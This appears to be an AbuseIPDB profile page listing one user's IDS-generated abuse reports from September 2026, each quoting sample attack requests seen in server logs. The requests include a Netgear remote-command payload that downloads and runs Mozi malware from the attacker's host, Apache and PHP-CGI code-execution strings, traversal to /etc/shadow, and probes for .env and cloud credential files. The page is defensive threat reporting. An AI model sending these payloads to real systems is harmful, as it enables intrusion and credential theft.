AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User arcy joined AbuseIPDB in August 2026 and has reported 1,874 IP addresses.

Standing (weight) is good.

ACTIVE USER WEBMASTER SUPPORTER

IP	Date	Comment	Categories
🇮🇹 34.154.163.183	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-sensitive-files. 5 matching log events at 2026-09-20T14:58:55Z (UTC). Sample requests: GET /.git/config -> 401; GET /.env -> 401; GET /.env.local -> 401; GET /.env.staging -> 401; GET /.env.development -> 401 show less	Hacking Web App Attack
🇳🇱 34.187.96.143	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-sensitive-files. 5 matching log events at 2026-09-20T17:47:21Z (UTC). Sample requests: GET /.git/config -> 401; GET /.env -> 401; GET /.env.local -> 401; GET /.env.staging -> 401; GET /.env.development -> 401 show less	Hacking Web App Attack
🇧🇪 35.240.58.49	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-sensitive-files. 5 matching log events at 2026-09-20T21:43:03Z (UTC). Sample requests: GET /.env -> 200; GET /.docker/laravel/app/.env -> 200; GET /.aws/.env -> 200; GET /.docker/.env -> 200; GET /.docker/secrets.json -> 404 show less	Hacking Web App Attack
🇬🇧 62.60.130.117	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-admin-interface-probing, http-probing. 14 matching log events between 2026-09-20T21:07:30Z and 21:07:32Z (UTC). Sample requests: GET /admin/ -> 404; GET /wp-admin/css/colors/ectoplasm/ -> 404; GET /wp-admin/css/colors/blue/ -> 404; GET /wp-includes/text/ -> 404; GET /wp-includes/css/dist/ -> 404; GET /wp-includes/text/diff/ -> 404; GET /wp-includes/widgets/ -> 404; GET /wp-includes/css/ -> 404; GET /wp-includes/fonts/ -> 404; GET /wp-includes/id3/ -> 404; GET /wp-includes/sitemaps/ -> 404; GET /wp-includes/ixr/ -> 404; GET /wp-includes/images/ -> 404; GET /wp-includes/phpmailer/ -> 404 show less	Port Scan Hacking Web App Attack
🇱🇺 64.89.160.73	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-probing, http-sensitive-files. 16 matching log events between 2026-09-20T19:52:58Z and 19:53:00Z (UTC). Sample requests: GET /.env -> 404; GET /.env.local -> 404; GET /.env.production -> 404; GET /.env.prod -> 404; GET /.env.staging -> 404; GET /.env.backup -> 404; GET /.env.bak -> 404; GET /.env.old -> 404; GET /.env.save -> 404; GET /.env.example -> 404; GET /.env.dist -> 404 show less	Port Scan Hacking Web App Attack
🇫🇷 92.205.23.230	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-admin-interface-probing. 3 matching log events at 2026-09-21T01:28:03Z (UTC). Sample requests: GET /wp-login.php -> 404; GET /es/wp-login.php -> 404; GET /en/wp-login.php -> 404 show less	Hacking Web App Attack
🇺🇸 104.196.6.60	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-admin-interface-probing, http-bad-user-agent, http-path-traversal-probing, http-probing, http-sensitive-files, http-technology-probing, thinkphp-cve-2018-20062. 27 matching log events between 2026-09-21T01:26:37Z and 01:26:45Z (UTC). Sample requests: GET /index.php?s=index/x5Cthinkx5Capp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=env -> 404; GET /admin/.env/ -> 404; GET /phpinfo.php -> 404; GET /admin/_payload.json/ -> 404; GET /userfiles?path=../../../.env -> 403; GET /userfiles?path=../../.env -> 403; GET /@fs/proc/self/environ?import&raw?? -> 301; GET /userfiles?path=../../../../.env -> 403; GET /.env.bak -> 404; GET /.htpasswd -> 301; GET /info.php -> 404; GET /.env.backup -> 404; GET /z9x8c7v6b5-debug-trigger-www.arkadiuszpolak.pl -> 404; GET /__/firebase/init.json/ -> 404; GET /.aws/credentials/ -> 404; GET /api/config/ -> 404; POST /graphql -> 404 show less	Port Scan Hacking Bad Web Bot Web App Attack
🇨🇳 118.145.104.105	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-cve-2021-41773, http-cve-2021-42013. 2 matching log events at 2026-09-20T12:47:42Z (UTC). Sample requests: POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh -> 400; POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh -> 400 show less	Hacking Web App Attack
🇺🇸 134.33.65.102	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-technology-probing. 1 matching log event at 2026-09-20T22:50:53Z (UTC). Sample requests: GET /actuator/health -> 404 show less	Port Scan Web App Attack
🇺🇸 136.65.205.127	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-sensitive-files. 10 matching log events between 2026-09-20T18:01:23Z and 18:21:26Z (UTC). Sample requests: GET /github/.env -> 200; GET /actions/.env -> 200; GET /circleci/.env -> 200; GET /travis/.env -> 200; GET /buildkite/.env -> 200; GET /.git/config -> 200; GET /.env -> 200; GET /.env.local -> 200; GET /.env.staging -> 200; GET /.env.development -> 200 show less	Hacking Web App Attack
🇳🇱 204.76.203.213	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-open-proxy. 1 matching log event at 2026-09-20T21:55:01Z (UTC). Sample requests: CONNECT api64.ipify.org:443 -> 400 show less	Open Proxy Web App Attack
🇳🇱 204.76.203.221	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-open-proxy. 1 matching log event at 2026-09-20T21:55:02Z (UTC). Sample requests: CONNECT icanhazip.com:443 -> 400 show less	Open Proxy Web App Attack
🇩🇪 213.209.159.84	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-probing, http-sensitive-files, http-technology-probing. 17 matching log events at 2026-09-20T11:19:43Z (UTC). Sample requests: GET /info.php -> 404; GET /.env.local -> 404; GET /.env.production -> 404; GET /.env.prod -> 404; GET /.env.development -> 404; GET /.env.dev -> 404; GET /.env.old -> 404; GET /.env.save -> 404; GET /.env.staging -> 404; GET /.env.stage -> 404; GET /.env.swp -> 404; GET /.env.backup -> 404; GET /.env -> 301 show less	Port Scan Hacking Web App Attack
🇩🇪 213.209.159.133	21 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-sensitive-files. 5 matching log events at 2026-09-20T14:01:14Z (UTC). Sample requests: GET /.env -> 200; GET /.docker/config.json -> 404; GET /.env.development -> 200; GET /api/.env -> 404; GET /.env.backup -> 200 show less	Hacking Web App Attack
🇧🇪 34.52.133.111	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-admin-interface-probing, http-probing, http-sensitive-files, http-technology-probing. 20 matching log events between 2026-09-19T08:20:14Z and 08:20:15Z (UTC). Sample requests: GET /info.php -> 404; GET /_profiler/phpinfo.php -> 404; GET /admin/phpinfo.php -> 404; GET /admin_phpinfo.php -> 404; GET /.aws/credentials.bak -> 404; GET /.config/gcloud/credentials.db -> 404; GET /.env.anthropic -> 404; GET /.env.aws -> 404; GET /.env.backup -> 404; GET /.env.bak -> 404; GET /.env.dev -> 404; GET /.env.development -> 404; GET /.env.dist -> 404; GET /.env.docker -> 404; GET /.env.email -> 404; GET /.aws/config -> 301; GET /.aws/.env -> 301; GET /.aws/credentials -> 301; GET /.docker/config.json -> 301; GET /.env -> 301 show less	Port Scan Hacking Web App Attack
🇨🇳 42.233.107.55	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-cve-probing, netgear_rce. 2 matching log events at 2026-09-19T16:56:37Z (UTC). Sample requests: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://42.233.107.55:45925/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 -> 404 show less	Hacking Web App Attack
🇳🇱 45.138.12.16	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-probing, http-sensitive-files. 19 matching log events between 2026-09-19T08:17:52Z and 12:09:54Z (UTC). Sample requests: GET /.dockerfile/ -> 404; GET /.appveyor.yml -> 404; GET /.auth.json/ -> 404; GET /.authorized_keys/ -> 404; GET /.aws/config/ -> 404; GET /.aws/credent/ -> 404; GET /.aws/credentials/ -> 404; GET /.aws/credentials.bak -> 404; GET /.axiom/accounts/do.json/ -> 404; GET /.azure-pipelines.yml -> 404; GET /.azure/credentials/ -> 404; GET /.bash_history -> 301; GET /.composer/composer.json -> 301; GET /.docker/config.json -> 301; GET /.env -> 301; GET /.env.backup -> 301 show less	Port Scan Hacking Web App Attack
🇳🇱 45.138.12.43	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-path-traversal-probing. 19 matching log events between 2026-09-19T07:02:52Z and 08:25:14Z (UTC). Sample requests: GET /files../../etc/passwd?_=92lb60v1&v=19i09 -> 401; GET /files../../.env?_=ssyvihxt&v=pv4xe -> 401; GET /assets../../etc/passwd?_=v31jda2s&v=scj3p -> 401; GET /assets../../.env?_=rgmr2z47&v=nuh56 -> 401; GET /....//....//....//....//home/.env?_=tkxzzvtu&v=ht18r -> 401; GET /....//....//....//....//var/log/nginx/access.log?_=8eou8e90&v=q9geu -> 401; GET /....//....//....//....//var/log/apache2/access.log?_=o6ej0vd3&v=guxal -> 401; GET /....//....//....//....//var/log/auth.log?_=nanhecdr&v=zj797 -> 401; GET /....//etc/passwd?_=2bmddi3w&v=3669l -> 401; GET /....//etc/shadow?_=4w2yhda2&v=mh323 -> 401; GET /....//etc/hosts?_=o92hct8x&v=zkv75 -> 401; GET /....//proc/self/environ?_=v3rsdts8&v=z4czq -> 401; GET /%252e%252e/etc/passwd?_=lxhgn88k&v=cmztp -> 401 show less	Hacking Web App Attack
🇳🇱 45.156.128.153	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: CVE-2019-18935. 1 matching log event at 2026-09-19T08:32:23Z (UTC). Sample requests: GET /Telerik.Web.UI.WebResource.axd?type=rau -> 404 show less	Hacking Web App Attack
🇳🇱 45.156.128.154	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-technology-probing. 2 matching log events between 2026-09-19T08:31:54Z and 08:33:27Z (UTC). Sample requests: GET /jasperserver/login.html -> 404; GET /solr/ -> 404 show less	Port Scan Web App Attack
🇳🇱 45.156.128.155	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-technology-probing. 1 matching log event at 2026-09-19T08:34:31Z (UTC). Sample requests: GET /sitecore/shell/sitecore.version.xml -> 404 show less	Port Scan Web App Attack
🇩🇪 49.13.215.181	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-cve-probing. 1 matching log event at 2026-09-19T16:12:58Z (UTC). Sample requests: POST /wp-json/batch/v1 -> 404 show less	Hacking Web App Attack
🇦🇩 93.123.109.53	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-sensitive-files. 5 matching log events at 2026-09-19T14:39:51Z (UTC). Sample requests: GET /core/.env -> 200; GET /.env.production.bak -> 200; GET /server/.env -> 200; GET /src/.env -> 200; GET /admin/.env -> 200 show less	Hacking Web App Attack
🇮🇩 103.46.186.85	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: CVE-2017-9841, http-cve-2021-41773, http-cve-2021-42013, http-probing. 14 matching log events between 2026-09-19T04:00:48Z and 04:00:54Z (UTC). Sample requests: POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh -> 400; POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh -> 400; POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input -> 404; POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input -> 404; POST /index.php?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input -> 404; POST /test.hello?%25ADd+allow_url_include%3D1+%25ADd+auto_prepend_file%3Dphp://input -> 404; POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input -> 404; GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -> 404 show less	Port Scan Hacking Web App Attack
🇺🇸 104.131.165.166	20 Sep 2026	Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules ... show more Detected by CrowdSec IDS on a self-hosted server. Target: HTTP/HTTPS (ports 80/443). Triggered rules: http-cve-probing. 1 matching log event at 2026-09-19T08:56:38Z (UTC). Sample requests: POST /wp-json/batch/v1 -> 404 show less	Hacking Web App Attack